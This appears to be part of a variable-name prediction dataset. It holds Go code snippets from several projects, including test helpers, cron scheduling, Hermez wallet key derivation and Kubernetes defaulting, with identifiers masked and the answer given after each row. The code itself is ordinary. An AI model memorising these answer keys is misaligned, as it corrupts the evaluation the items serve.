a.lock.Lock() defer a.lock.Unlock() location := a.ApplyPathPrefix(path) info, err := os.Stat(location) if err != nil { return err } var perm os.FileMode if info.IsDir() { perm = a.permMap[""dir""][ [MASK] ] } else { perm = a.permMap[""file""][ [MASK] ] } return os.Chmod(location, perm) } func (a *Local) ensureDirectory(dir string) error { if _, err := os.Stat(dir); os.IsNotExist(err) { err := os.Mkdir(dir, DirPublic) if err != nil { return fmt.Errorf(""impossible to create the root directory %s"", dir) } } return nil } ",visibility 627,"package testutil import ( ""reflect"" ""strings"" ""testing"" ) type IntNumber interface { int | int8 | int16 | int32 | int64 | uint | uint8 | uint16 | uint32 | uint64 } type FloatNumber interface { float32 | float64 } const ( equalFailedMessageTemplate = ""Element %s is not as expected. expected: '%v' actual: '%v'"" notEqualFailedMessageTemplate = ""Element %s equals the unexpected. unexpected: '%v' actual: '%v'"" ) // Checks that 'actual' is not nil. If it is nil [testing.T.Errorf] will be called func AssertNotNil(actual any, t *testing.T, objectName string) { t.Helper() if isNil(actual) { t.Errorf(""Element %s should not be nil"", objectName) } } // Checks that 'actual' is nil. If it is not nil [testing.T.Errorf] will be called func AssertNil(actual any, t *testing.T, objectName string) { t.Helper() if !isNil(actual) { t.Errorf(""Element %s should be nil, but has value '%v'"", objectName, actual) } } // Checks that 'actual' is true. If it is false [testing.T.Errorf] will be called func AssertTrue(actual bool, t *testing.T, objectName string) { t.Helper() AssertEquals(true, actual, t, objectName) } // Checks that 'actual' is false. If it is true [testing.T.Errorf] will be called func AssertFalse(actual bool, t *testing.T, objectName string) { t.Helper() AssertEquals(false, actual, t, objectName) } // Checks that 'actual' is not nil and equal to 'expected'. If it is nil or not equal [testing.T.Errorf] will be called func AssertEquals(expected any, actual any, t *testing.T, objectName string) { t.Helper() AssertNotNil(actual, t, objectName) if expected != actual { t.Errorf(equalFailedMessageTemplate, objectName, expected, actual) } } // Checks that 'actual' is not nil and equal to 'expected' when both are transformed to an int64/uint64 before comparison. If it is nil or not equal [testing.T.Errorf] will be called func AssertAlmostEqualsInt[X IntNumber, Y IntNumber](expected X, actual Y, t *testing.T, objectName string) { t.Helper() AssertNotNil(actual, t, objectName) if isNotAlmostEqualInt(expected, actual) { t.Errorf(equalFailedMessageTemplate, objectName, expected, actual) } } // Checks that 'actual' is not nil and equal to 'expected' when both are transformed to an float64 before comparison with respect to a given delta. If it is nil or not equal [testing.T.Errorf] will be called func AssertAlmostEqualsFloat[X FloatNumber, Y FloatNumber](expected X, actual Y, delta float64, t *testing.T, objectName string) { t.Helper() AssertNotNil(actual, t, objectName) if isNotAlmostEqualFloat(expected, actual, delta) { t.Errorf(equalFailedMessageTemplate, objectName, expected, actual) } } // Checks that 'actual' is not nil and not equal to 'expected'. If it is nil or equal [testing.T.Errorf] will be called func AssertNotEquals(notExpected any, actual any, t *testing.T, objectName string) { t.Helper() AssertNotNil(actual, t, objectName) if notExpected == actual { t.Errorf(notEqualFailedMessageTemplate, objectName, notExpected, actual) } } // Checks that 'actual' is not nil and not equal to 'expected' when both are transformed to an int64/uint64 before comparison. If it is nil or equal [testing.T.Errorf] will be called func AssertNotAlmostEqualsInt[X IntNumber, Y IntNumber](notExpected X, actual Y, t *testing.T, objectName string) { t.Helper() AssertNotNil(actual, t, objectName) if !isNotAlmostEqualInt(notExpected, actual) { t.Errorf(notEqualFailedMessageTemplate, objectName, notExpected, actual) } } // Checks that 'actual' is not nil and not equal to 'expected' when both are transformed to an int64/uint64 before comparison with respect to a given delta. If it is nil or equal [testing.T.Errorf] will be called func AssertNotAlmostEqualsFloat[X FloatNumber, Y FloatNumber](notExpected X, actual Y, delta float64, t *testing.T, objectName string) { t.Helper() AssertNotNil(actual, t, objectName) if !isNotAlmostEqualFloat(notExpected, actual, delta) { t.Errorf(notEqualFailedMessageTemplate, objectName, notExpected, actual) } } // Checks that 'actual' is not nil and has 'expected' as prefix. If it is nil or does not have the correct prefix [testing.T.Errorf] will be called func AssertHasPrefix(expected string, actual string, t *testing.T, objectName string) { t.Helper() AssertNotNil(actual, t, objectName) if !strings.HasPrefix(actual, expected) { t.Errorf(""Element %s is not as expected. expected prefix: '%v' actual: '%v'"", objectName, expected, actual) } } // Checks that 'actual' is not nil and has 'expected' as suffix. If it is nil or does not have the correct suffix [testing.T.Errorf] will be called func AssertHasSuffix(expected string, actual string, t *testing.T, objectName string) { t.Helper() AssertNotNil(actual, t, objectName) if !strings.HasSuffix(actual, expected) { t.Errorf(""Element %s is not as expected. expected suffix: '%v' actual: '%v'"", objectName, expected, actual) } } func isNil(toCheck any) bool { v := reflect.ValueOf(toCheck) k := v.Kind() switch k { case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.UnsafePointer, reflect.Interface, reflect.Slice: return v.IsNil() default: return toCheck == nil } } func getKind(i any) reflect.Kind { v := reflect.ValueOf(i) return v.Kind() } func isNotAlmostEqualInt[X IntNumber, Y IntNumber](i1 X, i2 Y) bool { isUInt1 := isUInt(getKind(i1)) isUInt2 := isUInt(getKind(i2)) return (isUInt1 && !isUInt2 && i2 < 0) || (!isUInt1 && isUInt2 && i1 < 0) || (!isUInt1 && !isUInt2 && int64(i1) != int64(i2)) || uint64(i1) != uint64(i2) } func isNotAlmostEqualFloat[X FloatNumber, Y FloatNumber](f1 X, f2 Y, delta float64) bool { float1 := float64(f1) [MASK] := float64(f2) return (float1 <= [MASK] && [MASK] -float1 > delta) || ( [MASK] < float1 && float1- [MASK] > delta) } func isUInt(k reflect.Kind) bool { return k == reflect.Uint || k == reflect.Uint8 || k == reflect.Uint16 || k == reflect.Uint32 || k == reflect.Uint64 } ",float2 628,"package cobra import ( ""log"" ""github.com/PengLei-Adam/lade/framework"" ""github.com/robfig/cron/v3"" ) func (c *Command) SetContainer(container framework.Container) { c.container = container } // 获取根命令的容器 func (c *Command) GetContainer() framework.Container { return c.Root().container } // CronSpec 保存Cron命令的信息,用于展示 type CronSpec struct { Type string Cmd *Command Spec string ServiceName string } func (c *Command) SetParentNull() { c.parent = nil } // AddCronCommand创建一个cron定时任务,spec为定时描述语句 func (c *Command) AddCronCommand(spec string, cmd *Command) { // cron定时器结构初始化保存在根Command内 [MASK] := c.Root() if [MASK] .Cron == nil { [MASK] .Cron = cron.New(cron.WithParser(cron.NewParser(cron.SecondOptional | cron.Minute | cron.Hour | cron.Dom | cron.Month | cron.Dow | cron.Descriptor))) [MASK] .CronSpecs = []CronSpec{} } // 增加说明信息 [MASK] .CronSpecs = append( [MASK] .CronSpecs, CronSpec{ Type: ""normal-cron"", Cmd: cmd, Spec: spec, }) // 制作输入Command的副本 var cronCmd Command ctx := [MASK] .Context() cronCmd = *cmd cronCmd.args = []string{} cronCmd.SetParentNull() cronCmd.SetContainer( [MASK] .GetContainer()) // 定时器中添加调用函数 [MASK] .Cron.AddFunc(spec, func() { defer func() { if err := recover(); err != nil { log.Println() } }() // 直接运行命令内的函数 err := cronCmd.ExecuteContext(ctx) if err != nil { log.Println(err) } }) } ",root 629,"package account import ( ""crypto/ecdsa"" ""encoding/base64"" ""encoding/hex"" ""errors"" ""fmt"" ""log"" ""github.com/ethereum/go-ethereum/accounts"" ""github.com/ethereum/go-ethereum/common"" ""github.com/ethereum/go-ethereum/crypto"" hezcommon ""github.com/hermeznetwork/hermez-node/common"" ""github.com/iden3/go-iden3-crypto/babyjub"" hdwallet ""github.com/miguelmota/go-ethereum-hdwallet"" ) const ( ethDerivationPath = ""m/44'/60'/0'/0/%d"" hermezWalletMsg = ""Hermez Network account access.\n\nSign this message if you are in a trusted application only."" ) // CreateBJJWalletFromSignedMsg creates BJJWallet from signed hermez standard message to generate account func CreateBJJWalletFromSignedMsg(signedMsg []byte) (bjjWallet BJJWallet, ethAccount accounts.Account, err error) { // Change the last item value of the byte array from 1 to 28 signedMsg[len(signedMsg)-1] += 27 hermezWalletMsgEncoded := ""0x"" + hex.EncodeToString(signedMsg) // log.Println(""hermezWalletMsgEncoded: "", hermezWalletMsgEncoded) hermezWalletMsgSignedHash := crypto.Keccak256([]byte(hermezWalletMsgEncoded)) var bjjPvtKey babyjub.PrivateKey // Copy to the private key copy(bjjPvtKey[:], hermezWalletMsgSignedHash[:]) bjjAddress, err := FromBJJPubKeyCompToHezBJJAddress(bjjPvtKey.Public().Compress()) if err != nil { err = fmt.Errorf(""[CreateBJJWalletFromSignedMsg] Error generating BJJ address from BJJ public key. Account: %+v - Error: %s\n"", bjjPvtKey.Public().Compress(), err.Error()) log.Println(err.Error()) return } decodedBjjPubKey, err := hex.DecodeString(bjjPvtKey.Public().Compress().String()) if err != nil { err = fmt.Errorf(""[CreateBJJWalletFromSignedMsg] Error decoding BJJ public key. Account: %+v - Error: %s\n"", bjjPvtKey, err.Error()) log.Println(err.Error()) return } var bjjPubKeyCompressed babyjub.PublicKeyComp temp := hezcommon.SwapEndianness(decodedBjjPubKey) copy(bjjPubKeyCompressed[:], temp[:]) bjjWallet.PrivateKey = bjjPvtKey bjjWallet.PublicKey = bjjPubKeyCompressed bjjWallet.HezBjjAddress = bjjAddress bjjWallet.EthAccount = ethAccount bjjWallet.HezEthAddress = ""hez:"" + ethAccount.Address.Hex() return } // CreateBjjWalletFromMnemonic Create a Babyjubjub Wallet from Mnemonic func CreateBjjWalletFromMnemonic(mnemonic string) (bjjWallet BJJWallet, ethAccount accounts.Account, err error) { ethWallet, err := hdwallet.NewFromMnemonic(mnemonic) if err != nil { err = fmt.Errorf(""[CreateBjjWalletFromMnemonic] Error creating ethereum account from mnemonic - Error: %s\n"", err.Error()) log.Println(err.Error()) return } // Generate ETH account path := hdwallet.MustParseDerivationPath(fmt.Sprintf(ethDerivationPath, 0)) ethAccount, err = ethWallet.Derive(path, true) if err != nil { err = fmt.Errorf(""[CreateBjjWalletFromMnemonic] Error deriving the account from mnemonic Error: %s\n"", err.Error()) log.Println(err.Error()) return } hermezWalletMsgSigned, err := ethWallet.SignText(ethAccount, []byte(hermezWalletMsg)) if err != nil { err = fmt.Errorf(""[CreateBjjWalletFromMnemonic] Error signing key msg to generate BJJ private key. Account: %s - Error: %s\n"", ethAccount.Address.Hex(), err.Error()) log.Println(err.Error()) return } bjjWallet, ethAccount, err = CreateBJJWalletFromSignedMsg(hermezWalletMsgSigned) if err != nil { err = fmt.Errorf(""[CreateBjjWalletFromMnemonic] Error generating BJJ Wallet. Account: %s - Error: %s\n"", ethAccount.Address.Hex(), err.Error()) log.Println(err.Error()) return } return } // CreateBjjWalletFromHexPvtKey Create a Babyjubjub Wallet from Hexdecimal Private Key func CreateBjjWalletFromHexPvtKey(hexPvtKey string) (bjjWallet BJJWallet, ethAccount accounts.Account, err error) { return CreateBjjWalletWithAccCreationSignatureFromHexPvtKey(hexPvtKey, 0, """") } // CreateBjjWalletWithAccCreationSignatureFromHexPvtKey Create a Babyjubjub Wallet from Hexdecimal Private Key with hermez account creation signature func CreateBjjWalletWithAccCreationSignatureFromHexPvtKey(hexPvtKey string, chainID int, rollupContractAddress string) (bjjWallet BJJWallet, ethAccount accounts.Account, err error) { ecdsaPvtKey, err := crypto.HexToECDSA(hexPvtKey) if err != nil { log.Printf(""[CreateBjjWalletFromHexPvtKey] Error when creating private key: %s\n"", err.Error()) return } return CreateBjjWalletWithAccCreationSignatureFromPvtKey(ecdsaPvtKey, chainID, rollupContractAddress) } // CreateBjjWalletWithAccCreationSignatureFromPvtKey Create a Babyjubjub Wallet from Hexdecimal Private Key with hermez account creation signature func CreateBjjWalletWithAccCreationSignatureFromPvtKey(ecdsaPvtKey *ecdsa.PrivateKey, chainID int, rollupContractAddress string) (bjjWallet BJJWallet, ethAccount accounts.Account, err error) { ecdsaPubKey := ecdsaPvtKey.Public().(*ecdsa.PublicKey) ethAccount.Address = crypto.PubkeyToAddress(*ecdsaPubKey) hermezWalletMsgHash := accounts.TextHash([]byte(hermezWalletMsg)) hermezWalletMsgSigned, err := crypto.Sign(hermezWalletMsgHash, ecdsaPvtKey) if err != nil { log.Printf(""[CreateBjjWalletFromHexPvtKey] Error signing key msg to generate BJJ private key. Account: %s - Error: %s\n"", ethAccount.Address.Hex(), err.Error()) return } // Change the last item value of the byte array from 1 to 28 hermezWalletMsgSigned[len(hermezWalletMsgSigned)-1] += 27 hermezWalletMsgEncoded := ""0x"" + hex.EncodeToString(hermezWalletMsgSigned) // log.Println(""hermezWalletMsgEncoded: "", hermezWalletMsgEncoded) hermezWalletMsgSignedHash := crypto.Keccak256([]byte(hermezWalletMsgEncoded)) var bjjPvtKey babyjub.PrivateKey // Copy to the private key copy(bjjPvtKey[:], hermezWalletMsgSignedHash[:]) bjjAddress, err := FromBJJPubKeyCompToHezBJJAddress(bjjPvtKey.Public().Compress()) if err != nil { log.Printf(""[CreateBjjWalletFromHexPvtKey] Error generating BJJ address from BJJ public key. Account: %+v - Error: %s\n"", bjjPvtKey.Public().Compress(), err.Error()) return } decodedBjjPubKey, err := hex.DecodeString(bjjPvtKey.Public().Compress().String()) if err != nil { log.Printf(""[CreateBjjWalletFromHexPvtKey] Error decoding BJJ public key. Account: %+v - Error: %s\n"", bjjPvtKey, err.Error()) return } var bjjPubKeyCompressed babyjub.PublicKeyComp temp := hezcommon.SwapEndianness(decodedBjjPubKey) copy(bjjPubKeyCompressed[:], temp[:]) bjjWallet.PrivateKey = bjjPvtKey bjjWallet.PublicKey = bjjPubKeyCompressed bjjWallet.HezBjjAddress = bjjAddress bjjWallet.EthAccount = ethAccount bjjWallet.HezEthAddress = ""hez:"" + ethAccount.Address.Hex() if chainID == 0 || !common.IsHexAddress(rollupContractAddress) { return } var [MASK] babyjub.PublicKeyComp copy( [MASK] [:], decodedBjjPubKey[:]) rollupAddress := common.HexToAddress(rollupContractAddress) signature, err := CreateHermezAuthSignature(ecdsaPvtKey, ethAccount, [MASK] , chainID, rollupAddress) if err != nil { log.Printf(""[CreateBjjWalletFromHexPvtKey] Error creating CreateHermezAuthSignature: %+v - %d - %s - Error: %s\n"", bjjPubKeyCompressed, chainID, rollupAddress, err.Error()) return } bjjWallet.AccountCreationAuthSignature = signature return } // FromBJJPubKeyCompToHezBJJAddress creates a Hermez BJJ account from a BJJ PubKey Compressed func FromBJJPubKeyCompToHezBJJAddress(pkComp babyjub.PublicKeyComp) (string, error) { if len(pkComp.String()) < 10 { return """", errors.New(""[FromBJJPubKeyCompToHezBJJAddress] Invalid BJJ PubKey Compressed"") } sum := pkComp[0] for i := 1; i < len(pkComp); i++ { sum += pkComp[i] } bjjSum := append(pkComp[:], sum) return ""hez:"" + base64.RawURLEncoding.EncodeToString(bjjSum), nil } // CreateHermezAuthSignature creates the hermez wallet authentication signature func CreateHermezAuthSignature(ethPk *ecdsa.PrivateKey, ethAccount accounts.Account, bjjPubKeyComp babyjub.PublicKeyComp, chainID int, rollupContract common.Address) (string, error) { auth := &hezcommon.AccountCreationAuth{ EthAddr: ethAccount.Address, BJJ: bjjPubKeyComp, } if chainID > 65536 || chainID < 0 { err := errors.New(""Invalid chainID. Max number can be 65536"") return """", err } uChainID := uint16(chainID) err := auth.Sign(func(hash []byte) ([]byte, error) { return crypto.Sign(hash, ethPk) }, uChainID, rollupContract) if err != nil { return """", err } _, err = auth.VerifySignature(uChainID, rollupContract) if err != nil { return """", errors.New(""invalid signature: "" + err.Error()) } return hex.EncodeToString(auth.Signature), nil } ",bjjPubKeyCompressedNoSwapped 630,"/* Copyright 2020 The Kruise Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package v1alpha1 import ( appsv1 ""k8s.io/api/apps/v1"" corev1 ""k8s.io/api/core/v1"" ""k8s.io/apimachinery/pkg/util/intstr"" ""k8s.io/kubernetes/pkg/apis/core/v1"" utilpointer ""k8s.io/utils/pointer"" ) // SetDefaults_SidecarSet set default values for SidecarSet. func SetDefaultsSidecarSet(obj *SidecarSet) { setSidecarSetUpdateStratety(&obj.Spec.Strategy) for i := range obj.Spec.InitContainers { setSidecarDefaultContainer(&obj.Spec.InitContainers[i]) } for i := range obj.Spec.Containers { setSidecarDefaultContainer(&obj.Spec.Containers[i]) } } func setSidecarSetUpdateStratety(strategy *SidecarSetUpdateStrategy) { if strategy.RollingUpdate == nil { rollingUpdate := RollingUpdateSidecarSet{} strategy.RollingUpdate = &rollingUpdate } if strategy.RollingUpdate.MaxUnavailable == nil { maxUnavailable := intstr.FromInt(1) strategy.RollingUpdate.MaxUnavailable = &maxUnavailable } } func setSidecarDefaultContainer(sidecarContainer *SidecarContainer) { [MASK] := &sidecarContainer.Container v1.SetDefaults_Container( [MASK] ) for i := range [MASK] .Ports { p := & [MASK] .Ports[i] v1.SetDefaults_ContainerPort(p) } for i := range [MASK] .Env { e := & [MASK] .Env[i] if e.ValueFrom != nil { if e.ValueFrom.FieldRef != nil { v1.SetDefaults_ObjectFieldSelector(e.ValueFrom.FieldRef) } } } v1.SetDefaults_ResourceList(& [MASK] .Resources.Limits) v1.SetDefaults_ResourceList(& [MASK] .Resources.Requests) if [MASK] .LivenessProbe != nil { v1.SetDefaults_Probe( [MASK] .LivenessProbe) if [MASK] .LivenessProbe.Handler.HTTPGet != nil { v1.SetDefaults_HTTPGetAction( [MASK] .LivenessProbe.Handler.HTTPGet) } } if [MASK] .ReadinessProbe != nil { v1.SetDefaults_Probe( [MASK] .ReadinessProbe) if [MASK] .ReadinessProbe.Handler.HTTPGet != nil { v1.SetDefaults_HTTPGetAction( [MASK] .ReadinessProbe.Handler.HTTPGet) } } if [MASK] .Lifecycle != nil { if [MASK] .Lifecycle.PostStart != nil { if [MASK] .Lifecycle.PostStart.HTTPGet != nil { v1.SetDefaults_HTTPGetAction( [MASK] .Lifecycle.PostStart.HTTPGet) } } if [MASK] .Lifecycle.PreStop != nil { if [MASK] .Lifecycle.PreStop.HTTPGet != nil { v1.SetDefaults_HTTPGetAction( [MASK] .Lifecycle.PreStop.HTTPGet) } } } } // SetDefaults_BroadcastJob set default values for BroadcastJob. func SetDefaultsBroadcastJob(obj *BroadcastJob) { SetDefaultPodSpec(&obj.Spec.Template.Spec) if obj.Spec.CompletionPolicy.Type == """" { obj.Spec.CompletionPolicy.Type = Always } if obj.Spec.Parallelism == nil { parallelism := int32(1<<31 - 1) parallelismIntStr := intstr.FromInt(int(parallelism)) obj.Spec.Parallelism = ¶llelismIntStr } if obj.Spec.FailurePolicy.Type == """" { obj.Spec.FailurePolicy.Type = FailurePolicyTypeFailFast } } // SetDefaults_StatefulSet set default values for StatefulSet. func SetDefaultsStatefulSet(obj *StatefulSet) { if len(obj.Spec.PodManagementPolicy) == 0 { obj.Spec.PodManagementPolicy = appsv1.OrderedReadyPodManagement } if obj.Spec.UpdateStrategy.Type == """" { obj.Spec.UpdateStrategy.Type = appsv1.RollingUpdateStatefulSetStrategyType // UpdateStrategy.RollingUpdate will take default values below. obj.Spec.UpdateStrategy.RollingUpdate = &RollingUpdateStatefulSetStrategy{} } if obj.Spec.UpdateStrategy.Type == appsv1.RollingUpdateStatefulSetStrategyType { if obj.Spec.UpdateStrategy.RollingUpdate == nil { obj.Spec.UpdateStrategy.RollingUpdate = &RollingUpdateStatefulSetStrategy{} } if obj.Spec.UpdateStrategy.RollingUpdate.Partition == nil { obj.Spec.UpdateStrategy.RollingUpdate.Partition = utilpointer.Int32Ptr(0) } if obj.Spec.UpdateStrategy.RollingUpdate.MaxUnavailable == nil { maxUnavailable := intstr.FromInt(1) obj.Spec.UpdateStrategy.RollingUpdate.MaxUnavailable = &maxUnavailable } if obj.Spec.UpdateStrategy.RollingUpdate.PodUpdatePolicy == """" { obj.Spec.UpdateStrategy.RollingUpdate.PodUpdatePolicy = RecreatePodUpdateStrategyType } if obj.Spec.UpdateStrategy.RollingUpdate.MinReadySeconds == nil { obj.Spec.UpdateStrategy.RollingUpdate.MinReadySeconds = utilpointer.Int32Ptr(0) } } if obj.Spec.Replicas == nil { obj.Spec.Replicas = utilpointer.Int32Ptr(1) } if obj.Spec.RevisionHistoryLimit == nil { obj.Spec.RevisionHistoryLimit = utilpointer.Int32Ptr(10) } SetDefaultPodSpec(&obj.Spec.Template.Spec) for i := range obj.Spec.VolumeClaimTemplates { a := &obj.Spec.VolumeClaimTemplates[i] v1.SetDefaults_PersistentVolumeClaim(a) v1.SetDefaults_ResourceList(&a.Spec.Resources.Limits) v1.SetDefaults_ResourceList(&a.Spec.Resources.Requests) v1.SetDefaults_ResourceList(&a.Status.Capacity) } } // SetDefaults_UnitedDeployment set default values for UnitedDeployment. func SetDefaultsUnitedDeployment(obj *UnitedDeployment) { if obj.Spec.Replicas == nil { obj.Spec.Replicas = utilpointer.Int32Ptr(1) } if obj.Spec.RevisionHistoryLimit == nil { obj.Spec.RevisionHistoryLimit = utilpointer.Int32Ptr(10) } if len(obj.Spec.UpdateStrategy.Type) == 0 { obj.Spec.UpdateStrategy.Type = ManualUpdateStrategyType } if obj.Spec.UpdateStrategy.Type == ManualUpdateStrategyType && obj.Spec.UpdateStrategy.ManualUpdate == nil { obj.Spec.UpdateStrategy.ManualUpdate = &ManualUpdate{} } if obj.Spec.Template.StatefulSetTemplate != nil { SetDefaultPodSpec(&obj.Spec.Template.StatefulSetTemplate.Spec.Template.Spec) for i := range obj.Spec.Template.StatefulSetTemplate.Spec.VolumeClaimTemplates { a := &obj.Spec.Template.StatefulSetTemplate.Spec.VolumeClaimTemplates[i] v1.SetDefaults_PersistentVolumeClaim(a) v1.SetDefaults_ResourceList(&a.Spec.Resources.Limits) v1.SetDefaults_ResourceList(&a.Spec.Resources.Requests) v1.SetDefaults_ResourceList(&a.Status.Capacity) } } } // SetDefaults_CloneSet set default values for CloneSet. func SetDefaultsCloneSet(obj *CloneSet) { if obj.Spec.Replicas == nil { obj.Spec.Replicas = utilpointer.Int32Ptr(1) } if obj.Spec.RevisionHistoryLimit == nil { obj.Spec.RevisionHistoryLimit = utilpointer.Int32Ptr(10) } SetDefaultPodSpec(&obj.Spec.Template.Spec) for i := range obj.Spec.VolumeClaimTemplates { a := &obj.Spec.VolumeClaimTemplates[i] v1.SetDefaults_PersistentVolumeClaim(a) v1.SetDefaults_ResourceList(&a.Spec.Resources.Limits) v1.SetDefaults_ResourceList(&a.Spec.Resources.Requests) v1.SetDefaults_ResourceList(&a.Status.Capacity) } switch obj.Spec.UpdateStrategy.Type { case """": obj.Spec.UpdateStrategy.Type = RecreateCloneSetUpdateStrategyType case InPlaceIfPossibleCloneSetUpdateStrategyType, InPlaceOnlyCloneSetUpdateStrategyType: if obj.Spec.UpdateStrategy.InPlaceUpdateStrategy == nil { obj.Spec.UpdateStrategy.InPlaceUpdateStrategy = &InPlaceUpdateStrategy{} } } if obj.Spec.UpdateStrategy.Partition == nil { obj.Spec.UpdateStrategy.Partition = utilpointer.Int32Ptr(0) } if obj.Spec.UpdateStrategy.MaxUnavailable == nil { maxUnavailable := intstr.FromString(DefaultCloneSetMaxUnavailable) obj.Spec.UpdateStrategy.MaxUnavailable = &maxUnavailable } if obj.Spec.UpdateStrategy.MaxSurge == nil { maxSurge := intstr.FromInt(0) obj.Spec.UpdateStrategy.MaxSurge = &maxSurge } } // SetDefaults_DaemonSet set default values for DaemonSet. func SetDefaultsDaemonSet(obj *DaemonSet) { if obj.Spec.BurstReplicas == nil { BurstReplicas := intstr.FromInt(250) obj.Spec.BurstReplicas = &BurstReplicas } if obj.Spec.UpdateStrategy.Type == """" { obj.Spec.UpdateStrategy.Type = RollingUpdateDaemonSetStrategyType // UpdateStrategy.RollingUpdate will take default values below. obj.Spec.UpdateStrategy.RollingUpdate = &RollingUpdateDaemonSet{} } if obj.Spec.UpdateStrategy.Type == RollingUpdateDaemonSetStrategyType { if obj.Spec.UpdateStrategy.RollingUpdate == nil { obj.Spec.UpdateStrategy.RollingUpdate = &RollingUpdateDaemonSet{} } if obj.Spec.UpdateStrategy.RollingUpdate.Partition == nil { obj.Spec.UpdateStrategy.RollingUpdate.Partition = new(int32) *obj.Spec.UpdateStrategy.RollingUpdate.Partition = 0 } if obj.Spec.UpdateStrategy.RollingUpdate.MaxUnavailable == nil { maxUnavailable := intstr.FromInt(1) obj.Spec.UpdateStrategy.RollingUpdate.MaxUnavailable = &maxUnavailable } if obj.Spec.UpdateStrategy.RollingUpdate.Type == """" { obj.Spec.UpdateStrategy.RollingUpdate.Type = StandardRollingUpdateType } // Only when RollingUpdate Type is SurgingRollingUpdateType, it need to initialize the MaxSurge. if obj.Spec.UpdateStrategy.RollingUpdate.Type == SurgingRollingUpdateType { if obj.Spec.UpdateStrategy.RollingUpdate.MaxSurge == nil { MaxSurge := intstr.FromInt(1) obj.Spec.UpdateStrategy.RollingUpdate.MaxSurge = &MaxSurge } } } if obj.Spec.RevisionHistoryLimit == nil { obj.Spec.RevisionHistoryLimit = new(int32) *obj.Spec.RevisionHistoryLimit = 10 } } // SetDefaultPod sets default pod func SetDefaultPod(in *corev1.Pod) { SetDefaultPodSpec(&in.Spec) if in.Spec.EnableServiceLinks == nil { enableServiceLinks := corev1.DefaultEnableServiceLinks in.Spec.EnableServiceLinks = &enableServiceLinks } } // SetDefaultPodSpec sets default pod spec func SetDefaultPodSpec(in *corev1.PodSpec) { v1.SetDefaults_PodSpec(in) for i := range in.Volumes { a := &in.Volumes[i] v1.SetDefaults_Volume(a) if a.VolumeSource.HostPath != nil { v1.SetDefaults_HostPathVolumeSource(a.VolumeSource.HostPath) } if a.VolumeSource.Secret != nil { v1.SetDefaults_SecretVolumeSource(a.VolumeSource.Secret) } if a.VolumeSource.ISCSI != nil { v1.SetDefaults_ISCSIVolumeSource(a.VolumeSource.ISCSI) } if a.VolumeSource.RBD != nil { v1.SetDefaults_RBDVolumeSource(a.VolumeSource.RBD) } if a.VolumeSource.DownwardAPI != nil { v1.SetDefaults_DownwardAPIVolumeSource(a.VolumeSource.DownwardAPI) for j := range a.VolumeSource.DownwardAPI.Items { b := &a.VolumeSource.DownwardAPI.Items[j] if b.FieldRef != nil { v1.SetDefaults_ObjectFieldSelector(b.FieldRef) } } } if a.VolumeSource.ConfigMap != nil { v1.SetDefaults_ConfigMapVolumeSource(a.VolumeSource.ConfigMap) } if a.VolumeSource.AzureDisk != nil { v1.SetDefaults_AzureDiskVolumeSource(a.VolumeSource.AzureDisk) } if a.VolumeSource.Projected != nil { v1.SetDefaults_ProjectedVolumeSource(a.VolumeSource.Projected) for j := range a.VolumeSource.Projected.Sources { b := &a.VolumeSource.Projected.Sources[j] if b.DownwardAPI != nil { for k := range b.DownwardAPI.Items { c := &b.DownwardAPI.Items[k] if c.FieldRef != nil { v1.SetDefaults_ObjectFieldSelector(c.FieldRef) } } } if b.ServiceAccountToken != nil { v1.SetDefaults_ServiceAccountTokenProjection(b.ServiceAccountToken) } } } if a.VolumeSource.ScaleIO != nil { v1.SetDefaults_ScaleIOVolumeSource(a.VolumeSource.ScaleIO) } } for i := range in.InitContainers { a := &in.InitContainers[i] v1.SetDefaults_Container(a) for j := range a.Ports { b := &a.Ports[j] v1.SetDefaults_ContainerPort(b) } for j := range a.Env { b := &a.Env[j] if b.ValueFrom != nil { if b.ValueFrom.FieldRef != nil { v1.SetDefaults_ObjectFieldSelector(b.ValueFrom.FieldRef) } } } v1.SetDefaults_ResourceList(&a.Resources.Limits) v1.SetDefaults_ResourceList(&a.Resources.Requests) if a.LivenessProbe != nil { v1.SetDefaults_Probe(a.LivenessProbe) if a.LivenessProbe.Handler.HTTPGet != nil { v1.SetDefaults_HTTPGetAction(a.LivenessProbe.Handler.HTTPGet) } } if a.ReadinessProbe != nil { v1.SetDefaults_Probe(a.ReadinessProbe) if a.ReadinessProbe.Handler.HTTPGet != nil { v1.SetDefaults_HTTPGetAction(a.ReadinessProbe.Handler.HTTPGet) } } if a.Lifecycle != nil { if a.Lifecycle.PostStart != nil { if a.Lifecycle.PostStart.HTTPGet != nil { v1.SetDefaults_HTTPGetAction(a.Lifecycle.PostStart.HTTPGet) } } if a.Lifecycle.PreStop != nil { if a.Lifecycle.PreStop.HTTPGet != nil { v1.SetDefaults_HTTPGetAction(a.Lifecycle.PreStop.HTTPGet) } } } } for i := range in.Containers { a := &in.Containers[i] // For in-place update, we set default imagePullPolicy to Always if a.ImagePullPolicy == """" { a.ImagePullPolicy = corev1.PullAlways } v1.SetDefaults_Container(a) for j := range a.Ports { b := &a.Ports[j] v1.SetDefaults_ContainerPort(b) } for j := range a.Env { b := &a.Env[j] if b.ValueFrom != nil { if b.ValueFrom.FieldRef != nil { v1.SetDefaults_ObjectFieldSelector(b.ValueFrom.FieldRef) } } } v1.SetDefaults_ResourceList(&a.Resources.Limits) v1.SetDefaults_ResourceList(&a.Resources.Requests) if a.LivenessProbe != nil { v1.SetDefaults_Probe(a.LivenessProbe) if a.LivenessProbe.Handler.HTTPGet != nil { v1.SetDefaults_HTTPGetAction(a.LivenessProbe.Handler.HTTPGet) } } if a.ReadinessProbe != nil { v1.SetDefaults_Probe(a.ReadinessProbe) if a.ReadinessProbe.Handler.HTTPGet != nil { v1.SetDefaults_HTTPGetAction(a.ReadinessProbe.Handler.HTTPGet) } } if a.Lifecycle != nil { if a.Lifecycle.PostStart != nil { if a.Lifecycle.PostStart.HTTPGet != nil { v1.SetDefaults_HTTPGetAction(a.Lifecycle.PostStart.HTTPGet) } } if a.Lifecycle.PreStop != nil { if a.Lifecycle.PreStop.HTTPGet != nil { v1.SetDefaults_HTTPGetAction(a.Lifecycle.PreStop.HTTPGet) } } } } } ",container 631,"package collector import ( ""os/exec"" ""strconv"" 